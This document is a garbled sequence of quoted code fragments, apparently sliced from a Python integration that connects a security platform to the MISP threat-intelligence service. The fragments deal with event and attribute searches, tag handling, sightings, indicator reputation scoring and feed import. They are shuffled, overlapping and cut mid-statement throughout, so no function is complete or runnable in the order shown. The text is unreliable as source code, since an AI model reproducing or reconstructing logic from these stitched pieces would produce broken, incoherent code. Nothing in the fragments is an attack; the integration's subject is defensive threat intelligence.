args_to_misp_format.pop('include_feed_correlations') if 'limit'", "in both sets, it will be removed from the suspicious", "= tableToMarkdown( f\"MISP search-events returned {len(response_for_context)} events.\\n {pagination_message}\", event_outputs_to_human_readable, removeNull=True)", "events_ids = list() # type: List[Dict[str, int]] for index, uri", "= PYMISP.update_attribute(attribute=attribute_instance, attribute_id=attribute_uuid) if isinstance(attribute_instance_response, dict) and attribute_instance_response.get('errors'): raise DemistoException(attribute_instance_response.get('errors'))", "pagination_message = f\"Current page size: {limit}\\n\" if len(response_for_context) == limit:", "from Demisto to Misp's keys if 'type' in args_to_misp_format: args_to_misp_format['type_attribute']", "MISP_ANALYSIS_TO_IDS else analysis_arg event.info = args.get('info') if args.get('info') else 'Event", "tag in given_object.get('Tag') ] def build_sighting_output_from_attribute_search_response(attribute): if attribute.get('Sighting'): attribute['Sighting'] =", "= PYMISP.search(eventid=new_event.id, controller='attributes', value=value) human_readable = f\"## MISP add attribute\\nNew", "function\"\"\" if given_object.get('Tag'): given_object['Tag'] = [ {'Name': tag.get('name'), 'is_galaxy': tag.get('is_galaxy')", "indicator results. \"\"\" reputation_value_validation(value, dbot_type) misp_response = PYMISP.search(value=value, controller='attributes', include_context=True,", "} INDICATOR_TYPE_TO_DBOT_SCORE = { 'FILE': DBotScoreType.FILE, 'URL': DBotScoreType.URL, 'DOMAIN': DBotScoreType.DOMAIN,", "ids should be recognised as malicious. suspicious_tag_ids (set): Tag ids", "warnings \"\"\" pass # Disable requests warnings urllib3.disable_warnings() # Disable", "event.get('Object'): event['Object'] = [ { 'name': event_object.get('name'), 'uuid': event_object.get('uuid'), 'description':", "obj_to_build (Union[dict, list, str]): object to replace keys in Returns:", "as malicious or suspicious. Args: all_attributes (dict): The parsed response", "given attribute args\"\"\" new_event = get_new_misp_event_object(demisto_args) new_event = PYMISP.add_event(new_event, True)", "new_event: MISPEvent = None): \"\"\"Adding attribute to a given MISP", "def attribute_response_to_markdown_table(response: dict): attribute_highlights = [] for attribute in response:", "to the context Returns: CommandResults includes all the indicator results.", "def get_event_id(data_dict): if data_dict.get('EventID'): return data_dict.get('EventID') elif data_dict.get('ID'): return data_dict.get('ID')", "that match the search query when user set the arg", "'EventCreatorEmail', 'name': 'Name', 'analysis': 'Analysis', 'threat_level_id': 'ThreatLevelID', 'old_id': 'OldID', 'org_id':", "if not response: raise DemistoException( f\"Error: An event with the", "in MISP for the given filters: {args}\") def build_events_search_response(response: Union[dict,", "{att_id}' return CommandResults(readable_output=human_readable) raise DemistoException(f\"An error was occurred: {json.dumps(response)}\") def", "return misp_object def misp_convert_timestamp_to_date_string(timestamp: Union[str, int]) -> str: \"\"\" Gets", "UT: test_build_misp_complex_filter. For more information please see build_complex_query in pymisp/api.py", "tag ids and Suspicious tag ids lists the indicator will", "value if comment: attribute_instance.comment = comment if first_seen: attribute_instance.first_seen =", "useless list event = attribute.get('Event') convert_timestamp_to_readable(attribute, event) found_related_events[event.get(\"id\")] = {\"Event", "] ATTRIBUTE_FIELDS = [ 'id', 'event_id', 'object_id', 'object_relation', 'category', 'type',", "def reputation_command_to_human_readable(outputs, score, events_to_human_readable): found_tag_id, found_tag_name = \"\", \"\" for", "event.get('Galaxy')] def event_to_human_readable_object_list(event): event_objects = event.get('Object', []) if event_objects: return", "'Tag', 'decay_score', 'Sighting', ] def extract_error(error: list) -> List[dict]: \"\"\"", "Fill in a valid key in the integration configuration.') MISP_URL", "says that it is an attribute's tag. If the data", "err[1].get('errors') } for err in error] def dict_to_generic_object_format(args: dict) ->", "to that existing event. \"\"\" attributes_args = { 'id': demisto_args.get('event_id'),", "suspicious_tag_ids, reliability, attributes_limit)) elif command == 'misp-add-file-object': return_results(add_file_object(args)) elif command", "'object_id': 'ObjectID', 'object_relation': 'ObjectRelation', 'template_version': 'TemplateVersion', 'template_uuid': 'TemplateUUID', 'meta-category': 'MetaCategory',", "\"\"\" related_events = [] object_tags_list = object_data_dict.get('Tag', []) for tag", "same object type that got in \"\"\" if isinstance(obj_to_build, list):", "value=value) human_readable = f\"## MISP add attribute\\nNew attribute: {value} was", "MISP to the context output format. \"\"\" response_object = copy.deepcopy(response)", "set(suspicious_tag_ids) suspicious_tag_ids = {tag_id for tag_id in suspicious_tag_ids if tag_id", "in given_object.get('Tag') ] def build_sighting_output_from_attribute_search_response(attribute): if attribute.get('Sighting'): attribute['Sighting'] = [", "'Event Distribution': event.get('Distribution'), 'Event UUID': event.get('UUID'), }) return event_highlights def", "include_correlations=False) -> dict: \"\"\" Convert the response of attribute search", "the attributes which match the required indicator value, this function", "proxies=PROXIES)) elif command == 'file': return_results( generic_reputation_command(args, 'file', 'FILE', malicious_tag_ids,", "not exists) it says that it is an attribute's tag.", "= MISP_DISTRIBUTION_TO_IDS[distribution] if category: attribute_instance.category = category if value: attribute_instance.value", "the tags and search if found_tag is one of it's", "type: ignore from typing import Union, List, Dict from urllib.parse", "If there is an id that exists in both sets,", "event_outputs_to_human_readable = event_to_human_readable(response_for_context) pagination_message = f\"Current page size: {limit}\\n\" if", "if dbot_type == \"EMAIL\": return Common.EMAIL(address=value, dbot_score=dbot_score) if dbot_type ==", "which include tag ids. If there is an id that", "= {key: events[i].get(key) for key in EVENT_FIELDS if key in", "ID': event.get('OrganizationID'), 'Event Orgc ID': event.get('OwnerOrganization.ID'), 'Event Distribution': event.get('Distribution'), 'Event", "raw_response=updated_event ) def generic_reputation_command(demisto_args, reputation_type, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit):", "make sure the API key is correct.') return_error(error) def warn(*args):", "value: {value}', attribute_highlights, removeNull=True) readable_output += tableToMarkdown('Related events', list(found_related_events.values())) return", "the response of event search returned from MISP to the", "DemistoException(f\"An error was occurred: {response.get('message')}\") elif response.get('Sighting'): human_readable = f'Sighting", "uuid response = PYMISP.search(uuid=uuid) human_readable = f'Tag {tag} has been", "{value} is not valid\") if dbot_type == 'DOMAIN': if not", "\"IP\": return Common.IP(ip=value, dbot_score=dbot_score) if dbot_type == \"DOMAIN\": return Common.Domain(domain=value,", "tags). \"\"\" output = [] tag_set_ids = set() tags_list =", "the data is attribute's (attribute tags). \"\"\" output = []", "if found_tag: for attribute in all_attributes: event = attribute.get('Event', {})", "'misp-search-events': return_results(search_events(args)) elif command == 'misp-search-attributes': return_results(search_attributes(args)) elif command ==", "for value in reputation_value_list: command_results.append( get_indicator_results(value, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability,", "if \"NewConnectionError\" in error: return_error('Unable to connect to MISP because", "not contains any of the complex operators the original input", "def add_attribute(event_id: int = None, internal: bool = False, demisto_args:", "if is_indicator_found: outputs, score, found_tag, found_related_events = parse_response_reputation_command(misp_response, malicious_tag_ids, suspicious_tag_ids,", "event['Threat Level ID'] in bad_threat_level_ids: return True return False def", "if dbot_type == 'IP': if not is_ip_valid(value): raise DemistoException(f\"Error: The", "argToBoolean(demisto_args.get('compact', False)) include_correlations = argToBoolean(demisto_args.get('include_correlations', False)) page = arg_to_number(demisto_args.get('page', 1),", "and ';' as delimiter for operators. using the operators is", "function\"\"\" if given_object.get('Galaxy'): given_object['Galaxy'] = [ { 'name': star.get('name'), 'type':", "says that it is an event's tag. Otherwise (if it", "raise DemistoException(f'Error in `{demisto.command()}` command: {response}') for ref in obj.ObjectReference:", "build_generic_object(template, args) return add_object(event_id, obj) except ValueError as e: raise", "re.MULTILINE) match_not = re.search(regex_not, demisto_query, re.MULTILINE) is_complex_and_operator = is_misp_complex_search_helper(match_and, misp_query_params,", "'proposal_email_lock', 'locked', 'publish_timestamp', 'sharing_group_id', 'disable_correlation', 'event_creator_email', 'Org', 'Orgc', 'RelatedEvent', 'Galaxy',", "have any tags configured as suspicious nor malicious will be", "'application/json'} url = build_feed_url(demisto_args) osint_url = f'{url}/manifest.json' limit = arg_to_number(demisto_args.get('limit',", "'deleted': 'Deleted', 'category': 'Category', 'comment': 'Comment', 'uuid': 'UUID', 'sharing_group_id': 'SharingGroupID',", "MISP urls with feeds for example: https://www.misp-project.org/feeds/ feed format must", "= last_seen return attribute_instance def update_attribute_command(demisto_args: dict) -> CommandResults: attribute_uuid", "key is correct.') return_error(error) def warn(*args): \"\"\" Do nothing with", "successfully added to event {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID',", "0, 'ongoing': 1, 'completed': 2 } MISP_DISTRIBUTION_TO_IDS = { 'Your_organization_only':", "attributes only if the user wants to get them back", "[galaxy.get('Name') for galaxy in event.get('Galaxy')] def event_to_human_readable_object_list(event): event_objects = event.get('Object',", "\"\"\" Convert the response of attribute search returned from MISP", "= '50' if 'tags' in args_to_misp_format: args_to_misp_format['tags'] = build_misp_complex_filter(args_to_misp_format['tags']) args_to_misp_format['controller']", "MISP event object and set the event's details. \"\"\" event", "event_to_human_readable_galaxy_list(event) event_objects = event_to_human_readable_object_list(event) event_highlights.append({ 'Event ID': event.get('ID'), 'Event Tags':", "elif response.get('Sighting'): human_readable = f'Sighting \\'{sighting_type}\\' has been successfully added", "def add_url_object(demisto_args: dict): \"\"\"Building url object in MISP scheme Scheme", "def prepare_attributes_array_to_context_data(attributes_list): attributes_tag_ids, event_tag_ids = set(), set() found_related_events = {}", "if is_attribute_tag_malicious: return Common.DBotScore.BAD, found_tag is_attribute_tag_suspicious = any((found_tag := tag)", "} for sighting in attribute.get('Sighting') ] def build_attributes_search_response_return_only_values(response_object: Union[dict, requests.Response])", "url = build_feed_url(demisto_args) osint_url = f'{url}/manifest.json' limit = arg_to_number(demisto_args.get('limit', 2),", "ones. Otherwise, the data is attribute's (attribute tags). \"\"\" output", "'category', 'type', 'to_ids', 'uuid', 'timestamp', 'distribution', 'sharing_group_id', 'comment', 'deleted', 'disable_correlation',", "score=score, reliability=reliability, malicious_description=\"Match found in MISP\") indicator = get_dbot_indicator(dbot_type, dbot,", "found in MISP\") indicator = get_dbot_indicator(dbot_type, dbot, value) return CommandResults(indicator=indicator,", "information about the attributes. \"\"\" response_object = copy.deepcopy(response) if isinstance(response_object,", "tags are valid positive integers.\"\"\" for tag in tag_ids: try:", "indicator_type=indicator_type, score=score, reliability=reliability, malicious_description=\"Match found in MISP\") indicator = get_dbot_indicator(dbot_type,", "misp_object = GenericObjectGenerator(template_name) misp_object.generate_attributes(args) return misp_object def misp_convert_timestamp_to_date_string(timestamp: Union[str, int])", "command == 'misp-add-domain-object': return_results(add_domain_object(args)) elif command == 'misp-add-url-object': return_results(add_url_object(args)) elif", "Level ID'] in bad_threat_level_ids: return True return False def get_score(attribute_tags_ids,", "be removed from the suspicious tag ids set and will", "requests warnings urllib3.disable_warnings() # Disable python warnings warnings.warn = warn", "limit this list to include only the ID and Name", "in args_to_misp_format: args_to_misp_format['date_to'] = args_to_misp_format.pop('to') if 'event_id' in args_to_misp_format: args_to_misp_format['eventid']", "= response_object.get('Attribute') return get_limit_attribute_search_outputs(attributes) def get_limit_attribute_search_outputs(attributes): for i in range(len(attributes)):", "attribute {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(response), raw_response=response )", "None for attribute in attributes_list: attribute.pop(\"RelatedAttribute\") # get rid of", "object, meaning the tags are event's ones. Otherwise, the data", "MISP search using the 'event' controller. \"\"\" args = prepare_args_to_search('events')", "(DBotScoreReliability): integration reliability score. attributes_limit (int) : Limits the number", "* have tags which configured as suspicious will be scored", "or file hash). dbot_type (str): Indicator type (file, url, domain,", "for value: {value}\") def get_events_related_to_scored_tag(all_attributes, found_tag): \"\"\" This function searches", "= response.get('Attribute') if not attributes_list: return None attributes_list = sorted(attributes_list,", "an attribute's one. Otherwise it's event's. \"\"\" uuid = demisto_args.get('uuid')", "tag_set_ids.add(tag_id) output.append({'ID': tag_id, 'Name': tag.get('name')}) return output, tag_set_ids def parse_response_reputation_command(misp_response,", "(dict): The dictionary that includes the tag list. is_event_level (bool):", "= demisto_args.get('name') obj = MISPObject('domain-ip') ips = argToList(demisto_args.get('ip')) for ip", "valid key in the integration configuration.') MISP_URL = params.get('url') VERIFY", "optional. if 'demisto_query' does not contains any of the complex", "data_dict.get('Event', {}).get('ID') def get_dbot_indicator(dbot_type, dbot_score, value): if dbot_type == \"FILE\":", "if hash_type == 'sha256': return Common.File(dbot_score=dbot_score, sha256=value) if dbot_type ==", "DemistoException('Missing API Key. Fill in a valid key in the", "the outputs will be a list of attributes along with", "other case, we won't add the tag. Args: attribute_dict (dict):", "attribute in attributes] def pagination_args_validation(page, limit): if page and page", "'attribute_count', 'timestamp', 'distribution', 'proposal_email_lock', 'locked', 'publish_timestamp', 'sharing_group_id', 'disable_correlation', 'event_creator_email', 'Org',", "def add_generic_object_command(demisto_args: dict): event_id = demisto_args.get('event_id') template = demisto_args.get('template') attributes", "in error: return_error('Unable to connect to MISP, ' 'Please make", "readable_output=readable_output) else: dbot = Common.DBotScore(indicator=value, indicator_type=indicator_type, score=Common.DBotScore.NONE, reliability=reliability, malicious_description=\"No results", "list, str]: same object type that got in \"\"\" if", "str: dictionary created for misp to perform complex query or", "add_event_response = PYMISP.add_event(misp_new_event) event_object = add_event_response.get('Event') if event_object and 'id'", "Objects': event_objects, 'Publish Timestamp': event.get('PublishTimestamp'), 'Event Info': event.get('Info'), 'Event Org", "was not found in MISP. please check it once again\")", "= requests.get(osint_url, verify=use_ssl, headers=headers, proxies=proxies).json() events_ids = list() # type:", "'google.com'}] \"\"\" return [{k: v} for k, v in args.items()]", "if 'tags' in args_to_misp_format: args_to_misp_format['tags'] = build_misp_complex_filter(args_to_misp_format['tags']) args_to_misp_format['controller'] = controller", "'old_id': 'OldID', 'org_id': 'OrganizationID', 'Org': 'Organization', 'Orgc': 'OwnerOrganization', 'orgc_uuid': 'OwnerOrganization.UUID',", "a list of attributes along with their events objects. Note:", "Attribute\" list and limits the tags and galaxies lists. Eventually,", "attribute_uuid if not att_id: raise DemistoException('ID or UUID not specified')", "is_misp_complex_search_helper(match_or, misp_query_params, 'or_parameters') is_complex_not_operator = is_misp_complex_search_helper(match_not, misp_query_params, 'not_parameters') is_complex_search =", "not re.compile(emailRegex, regexFlags).match(value): raise DemistoException(f\"Error: The given email address: {value}", "not a valid JSON\\nattribute: {attributes}', str(e)) def convert_arg_to_misp_args(demisto_args, args_names): return", "id, threat level id) about all the events that include", "args_to_misp_format def build_attributes_search_response(response: Union[dict, requests.Response], include_correlations=False) -> dict: \"\"\" Convert", "successfully removed from the attribute {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute',", "been successfully created.\\n\" return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(event), raw_response=event", "is set to 0 or not exists) it says that", "sighting to MISP attribute \"\"\" attribute_id = demisto_args.get('id') attribute_uuid =", "tag ids (each one is str), and verify all the", "data_dict.get('ID'): return data_dict.get('ID') return data_dict.get('Event', {}).get('ID') def get_dbot_indicator(dbot_type, dbot_score, value):", "event.published = argToBoolean(args.get('published', 'False')) return event def create_event_command(demisto_args: dict): \"\"\"Creating", "tag. Args: attribute_dict (dict): The dictionary that includes the tag", "'ok' else: raise DemistoException('MISP has not connected.') def build_feed_url(demisto_args): url", "\"SSLError\" in error: return_error('Unable to connect to MISP because of", "part of another command (create event for example) Args: event_id", "{} if not attributes_list: return None for attribute in attributes_list:", "indicator score by following logic. Indicators of attributes and Events", "and search if found_tag is one of it's tags. If", "event_tags_ids for tag in malicious_tag_ids) if is_event_tag_malicious: return Common.DBotScore.BAD, found_tag", "',') command_results = [] for value in reputation_value_list: command_results.append( get_indicator_results(value,", "be stayed only in the malicious one (as a tag", "elif command == 'ip': return_results( generic_reputation_command(args, 'ip', 'IP', malicious_tag_ids, suspicious_tag_ids,", "'Scored Tag ID': found_tag_id, 'Scored Tag Name': found_tag_name, } def", "\"page\", required=True) limit = arg_to_number(demisto_args.get('limit', 50), \"limit\", required=True) pagination_args_validation(page, limit)", "command are {args_to_misp_format}\") return args_to_misp_format def build_attributes_search_response(response: Union[dict, requests.Response], include_correlations=False)", "keys in event_args events[i] = {key: events[i].get(key) for key in", "like: [{'analysis_submitted_at': '2018-06-15T06:40:27'}, {'threat_score': {value=95, to_ids=False}}, {'permalink': 'https://panacea.threatgrid.com/mask/samples/2e445ef5389d8b'}, {'heuristic_raw_score': 7.8385159793597},", "suspicious reliability (DBotScoreReliability): integration reliability score. attributes_limit (int) : Limits", "been successfully added to event {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event',", "remove_duplicated_related_events(related_events): related_events_no_duplicates = [] for i in range(len(related_events)): if related_events[i]", "in Returns: Union[dict, list, str]: same object type that got", "{tag_id for tag_id in suspicious_tag_ids if tag_id not in common_ids}", "verify all the tags are valid positive integers.\"\"\" for tag", "event when searching for an event build_galaxy_output(events[i]) build_tag_output(events[i]) build_object_output(events[i]) events[i]['timestamp']", "event_to_human_readable_galaxy_list(event): event_galaxies = event.get('Galaxy', []) if event_galaxies: return [galaxy.get('Name') for", "= attribute_uuid if attribute_type: attribute_instance.type = attribute_type if distribution: attribute_instance.distribution", "str): response_object = json.loads(json.dumps(response_object)) attributes = response_object.get('Attribute') return get_limit_attribute_search_outputs(attributes) def", "str]) -> Union[dict, list, str]: \"\"\" Replacing keys from MISP's", "Event ID to add attribute to internal (bool): if set", "url_obj.extend(convert_arg_to_misp_args(demisto_args, url_args)) g_object = build_generic_object('url', url_obj) return add_object(event_id, g_object) def", "value): if dbot_type == \"FILE\": hash_type = get_hash_type(value) if hash_type", "raise DemistoException( f\"Error: An event with the given id: {event_id}", "than events' tags. \"\"\" found_tag = None is_attribute_tag_malicious = any((found_tag", "PYMISP.build_complex_query(**misp_query_params) return demisto_query def is_misp_complex_search_helper(match_operator, misp_query_params, operator_key): is_complex_search = False", "note: - In case the same tag appears in both", "= [ { 'name': star.get('name'), 'type': star.get('type'), 'description': star.get('description') }", "sha1=value) if hash_type == 'sha256': return Common.File(dbot_score=dbot_score, sha256=value) if dbot_type", "tag was failed. Please make sure the UUID exists.\") if", "attribute_item: attribute_item['event_id'], reverse=True)[:attributes_limit] found_related_events, attributes_tag_ids, event_tag_ids = prepare_attributes_array_to_context_data(attributes_list) attribute_in_event_with_bad_threat_level =", "outputs_prefix=\"MISP.Event\", outputs_key_field=\"ID\" ) else: return CommandResults(readable_output=f\"No events found in MISP", "an attribute (True) or event (False). \"\"\" uuid = demisto_args.get('uuid')", "\"2\", \"3\"] for event in found_related_events.values(): if event['Threat Level ID']", "not params.get('credentials') or not (MISP_API_KEY := params.get('credentials', {}).get('password')): raise DemistoException('Missing", "get_indicator_results(value, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) return command_results def reputation_value_validation(value,", "urllib3 from pymisp import ExpandedPyMISP, PyMISPError, MISPObject, MISPSighting, MISPEvent, MISPAttribute", "else: # attribute level if not is_event_tag: tag_set_ids.add(tag_id) output.append({'ID': tag_id,", "malicious_tag_ids) if is_attribute_tag_malicious: return Common.DBotScore.BAD, found_tag is_attribute_tag_suspicious = any((found_tag :=", "to get them back ATTRIBUTE_FIELDS.append('RelatedAttribute') if isinstance(response_object, str): response_object =", "= demisto_args.get('distribution') attributes_args.update({'distribution': MISP_DISTRIBUTION_TO_IDS[distribution]}) if distribution else None if not", "in args_to_misp_format: args_to_misp_format['enforceWarninglist'] = 1 if demisto_args.get('enforceWarninglist') == 'true' else", "1 if demisto_args.get('enforceWarninglist') == 'true' else 0 if 'include_feed_correlations' in", "to get that score found_related_events (dict): contains info (name, id,", "only in output hash_format = get_hash_type(value) if hash_format == 'Unknown':", "= demisto_args.get('url') url_parse = urlparse(url) url_obj = [{'url': url}] url_obj.extend({'scheme':", "Args: obj_to_build (Union[dict, list, str]): object to replace keys in", "one. Otherwise it's event's. \"\"\" uuid = demisto_args.get('uuid') tag =", "event.get(\"info\"), \"Threat Level ID\": event.get('threat_level_id'), \"Event ID\": event.get(\"id\")} if event.get('Tag'):", "= attribute.get('Event') convert_timestamp_to_readable(attribute, event) found_related_events[event.get(\"id\")] = {\"Event Name\": event.get(\"info\"), \"Threat", "dbot = Common.DBotScore(indicator=value, indicator_type=indicator_type, score=score, reliability=reliability, malicious_description=\"Match found in MISP\")", "event_tag_ids def convert_timestamp_to_readable(attribute, event): if attribute.get('timestamp'): attribute['timestamp'] = misp_convert_timestamp_to_date_string(attribute.get('timestamp')) if", "any tags configured as suspicious nor malicious will be scored", "raise DemistoException( f'`attribute` parameter could not be decoded, may not", "\"limit\", required=True) try: uri_list = requests.get(osint_url, verify=use_ssl, headers=headers, proxies=proxies).json() events_ids", "== 'misp-add-events-from-feed': return_results(add_events_from_feed(demisto_args=args, use_ssl=VERIFY, proxies=PROXIES)) elif command == 'file': return_results(", "saved words: 'AND:', 'OR:' and 'NOT:' using ',' as delimiter", "the given filters: {args}\") def build_events_search_response(response: Union[dict, requests.Response]) -> dict:", "remove the \"Related Attribute\" list and limits the tags and", "see an example for a parsed output in test_data/reputation_command_outputs.json \"\"\"", "SIGHTING_TYPE_NAME_TO_ID[sighting_type] } sigh_obj = MISPSighting() sigh_obj.from_dict(**sighting_args) response = PYMISP.add_sighting(sigh_obj, att_id)", "= handle_tag_duplication_ids(malicious_tag_ids, suspicious_tag_ids) if command == 'test-module': return_results(test(malicious_tag_ids=malicious_tag_ids, suspicious_tag_ids=suspicious_tag_ids, attributes_limit=attributes_limit))", "as malicious. - Attributes tags (both malicious and suspicious) are", "`{demisto.command()}` command: {response}') for ref in obj.ObjectReference: response = PYMISP.add_object_reference(ref)", "md5=value) if hash_type == 'sha1': return Common.File(dbot_score=dbot_score, sha1=value) if hash_type", "ids as the greater event ids are the newer ones.", "are stronger than events' tags. \"\"\" found_tag = None is_attribute_tag_malicious", "that include the indicator Please see an example for a", "the MISP search attribute request found_tag (str): The tag that", "positive number\") def attribute_response_to_markdown_table(response: dict): attribute_highlights = [] for attribute", "not be decoded, may not a valid JSON\\nattribute: {attributes}', str(e))", "else: return CommandResults(readable_output=f\"No events found in MISP for the given", "'locked', 'publish_timestamp', 'sharing_group_id', 'disable_correlation', 'event_creator_email', 'Org', 'Orgc', 'RelatedEvent', 'Galaxy', 'Tag',", "found_tag (str): The tag that was scored as malicious or", "event_tags_ids for tag in suspicious_tag_ids) if is_event_tag_suspicious: return Common.DBotScore.SUSPICIOUS, found_tag", "MISP_ANALYSIS_TO_IDS = { 'initial': 0, 'ongoing': 1, 'completed': 2 }", "MISP object Returns: list: list containing dicts that GenericObjectGenerator can", "None url_obj.append( {'credential': (url_parse.username, url_parse.password)}) if url_parse.username and url_parse.password else", "the indicator score found_tag: the tag (id) which made the", "= PYMISP.add_event(new_event, True) if isinstance(new_event, dict) and new_event.get('errors'): raise DemistoException(new_event.get('errors'))", "= attribute_id or attribute_uuid if not att_id: raise DemistoException('ID or", "\"\"\" url_args = [ 'text', 'last_seen', 'first_seen' ] event_id =", "it to tag_set_ids. In any other case, we won't add", "get_events_related_to_scored_tag(all_attributes, found_tag) attribute_highlights = reputation_command_to_human_readable(all_attributes, score, events_to_human_readable) readable_output = tableToMarkdown(f'Results", "from search-events output as the information is too big. User", "'include_correlations', 'limit', 'page', 'enforceWarninglist', 'include_feed_correlations', ] EVENT_FIELDS = [ 'id',", "def add_object(event_id: str, obj: MISPObject): \"\"\"Sending object to MISP and", "using ',' as delimiter for parameters and ';' as delimiter", "readable_output=md, outputs=response_for_context, outputs_prefix=\"MISP.Attribute\", outputs_key_field=\"ID\" ) else: return CommandResults(readable_output=f\"No attributes found", "non_req_args)) misp_attributes_args.append({'text': demisto_args.get('comment')}) if demisto_args.get('comment') else None obj = build_generic_object('ip-port',", "dict which includes tags list. found_tag (str): The tag that", "{page}\" md = tableToMarkdown( f\"MISP search-attributes returned {len(response_for_context)} attributes\\n {pagination_message}\",", "MISP's format to Demisto's (as appear in ENTITIESDICT) Args: obj_to_build", "dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit): reputation_value_list = argToList(demisto_args.get(reputation_type), ',') command_results", "not specified') sighting_args = { 'id': attribute_id, 'uuid': attribute_uuid, 'type':", "operators the original input will be returned Returns: str: dictionary", "suspicious_tag_ids=suspicious_tag_ids, attributes_limit=attributes_limit)) elif command == 'misp-create-event': return_results(create_event_command(args)) elif command ==", "function searches for all the events that have the tag", "DemistoException('MISP has not connected.') def build_feed_url(demisto_args): url = demisto_args.get('feed') url", "'EMAIL', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'misp-add-file-object': return_results(add_file_object(args))", "pymisp.tools import FileObject from CommonServerPython import * logging.getLogger(\"pymisp\").setLevel(logging.CRITICAL) def handle_connection_errors(error):", "else: human_readable = f'Event {event_id} has been deleted' return CommandResults(readable_output=human_readable,", "event = attribute.get('Event', {}) attribute_tags = [tag.get('Name') for tag in", "url_parse.port else None url_obj.append( {'credential': (url_parse.username, url_parse.password)}) if url_parse.username and", "in MISP_ENTITIES_TO_CONTEXT_DATA else key): replace_keys_from_misp_to_context_data(value) for key, value in obj_to_build.items()", "'id' in event_object: events_ids.append({'ID': event_object['id']}) if limit == len(events_ids): break", "'ongoing': 1, 'completed': 2 } MISP_DISTRIBUTION_TO_IDS = { 'Your_organization_only': 0,", "'Object', 'Galaxy', 'Tag', 'decay_score', 'Sighting', ] def extract_error(error: list) ->", "and deletes it. \"\"\" event_id = demisto_args.get('event_id') response = PYMISP.delete_event(event_id)", "'Your_organization_only': 0, 'This_community_only': 1, 'Connected_communities': 2, 'All_communities': 3, 'Inherit_event': 5", "available in UT: test_build_misp_complex_filter. For more information please see build_complex_query", "argToList(demisto_args.get(reputation_type), ',') command_results = [] for value in reputation_value_list: command_results.append(", "= { 'initial': 0, 'ongoing': 1, 'completed': 2 } MISP_DISTRIBUTION_TO_IDS", "= argToBoolean(args.get('published', 'False')) return event def create_event_command(demisto_args: dict): \"\"\"Creating event", "if event_id else arg_to_number(demisto_args.get('event_id'), \"event_id\") attributes_args.update({'id': event_id}) if event_id else", "for the given filters: {args}\") def build_events_search_response(response: Union[dict, requests.Response]) ->", "get them back ATTRIBUTE_FIELDS.append('RelatedAttribute') if isinstance(response_object, str): response_object = json.loads(json.dumps(response_object))", "'sighting', '1': 'false_positive', '2': 'expiration' } INDICATOR_TYPE_TO_DBOT_SCORE = { 'FILE':", "is_attribute (bool): if the given UUID belongs to an attribute", "event in MISP with the given attribute args\"\"\" new_event =", "attribute_highlights = reputation_command_to_human_readable(all_attributes, score, events_to_human_readable) readable_output = tableToMarkdown(f'Results found in", "event.get('UUID'), }) return event_highlights def search_events(demisto_args: dict) -> CommandResults: \"\"\"", "else key): replace_keys_from_misp_to_context_data(value) for key, value in obj_to_build.items() } return", "get_indicator_results(value, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit): \"\"\" This function searches", "\"\"\"Adds a domain object to MISP domain-ip description: https://www.misp-project.org/objects.html#_domain_ip \"\"\"", "tag that was scored as malicious or suspicious. If no", "\"\"\" response = copy.deepcopy(misp_response) attributes_list = response.get('Attribute') if not attributes_list:", "attribute_uuid = demisto_args.get('uuid') sighting_type = demisto_args['type'] # mandatory arg att_id", "'sha256': return Common.File(dbot_score=dbot_score, sha256=value) if dbot_type == \"IP\": return Common.IP(ip=value,", "a new MISP event object and set the event's details.", "= found_event_with_bad_threat_level_id(found_related_events) score, found_tag = get_score(attribute_tags_ids=attributes_tag_ids, event_tags_ids=event_tag_ids, malicious_tag_ids=malicious_tag_ids, suspicious_tag_ids=suspicious_tag_ids, is_attribute_in_event_with_bad_threat_level=attribute_in_event_with_bad_threat_level)", "if 'include_decay_score' in args_to_misp_format: args_to_misp_format['include_decay_score'] = 1 if demisto_args.get('include_decay_score') ==", "= f'Sighting \\'{sighting_type}\\' has been successfully added to attribute {att_id}'", "3, 'Inherit_event': 5 } SIGHTING_TYPE_NAME_TO_ID = { 'sighting': 0, 'false_positive':", "the indicator to get that score found_related_events (dict): contains info", "tag_name, 'Tag_ID': tag.get('ID')}) return related_events def get_event_id(data_dict): if data_dict.get('EventID'): return", "def remove_tag(demisto_args: dict, is_attribute=False): \"\"\" Function will remove tag to", "domain = demisto_args.get('name') obj = MISPObject('domain-ip') ips = argToList(demisto_args.get('ip')) for", "events_to_human_readable): found_tag_id, found_tag_name = \"\", \"\" for event in events_to_human_readable:", "include the indicator Please see an example for a response", "f\"MISP search-attributes returned {len(response_for_context)} attributes\\n {pagination_message}\", attribute_highlights, removeNull=True) return CommandResults(", "we won't add the tag. Args: attribute_dict (dict): The dictionary", "MISP.', events_ids) return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=events_ids, ) except", "will be a list of attributes along with their events", "DemistoException(f'URL [{url}] is not a valid MISP feed. error: {e}')", "response_for_context = build_attributes_search_response(response, include_correlations) attribute_highlights = attribute_response_to_markdown_table(response_for_context) pagination_message = f\"Current", "in related_events[i + 1:]: related_events_no_duplicates.append(related_events[i]) return related_events_no_duplicates def search_events_with_scored_tag(object_data_dict, found_tag,", "human_readable = f'Event {event_id} has been deleted' return CommandResults(readable_output=human_readable, raw_response=response)", "Union[dict, requests.Response]) -> list: \"\"\"returns list of attributes' values that", "demisto_args.get('event_id') response = PYMISP.delete_event(event_id) if 'errors' in response: raise DemistoException(f'Event", "given domain: {value} is not valid\") if dbot_type == 'URL':", "url_obj.append({'query_string': url_parse.query}) if url_parse.query else None url_obj.append({'domain': url_parse.netloc}) if url_parse.netloc", "'Feed', ] ATTRIBUTE_FIELDS = [ 'id', 'event_id', 'object_id', 'object_relation', 'category',", "complex query found returns the original input \"\"\" regex_and =", "input \"\"\" regex_and = r'(AND:)([^\\;]+)(;)?' 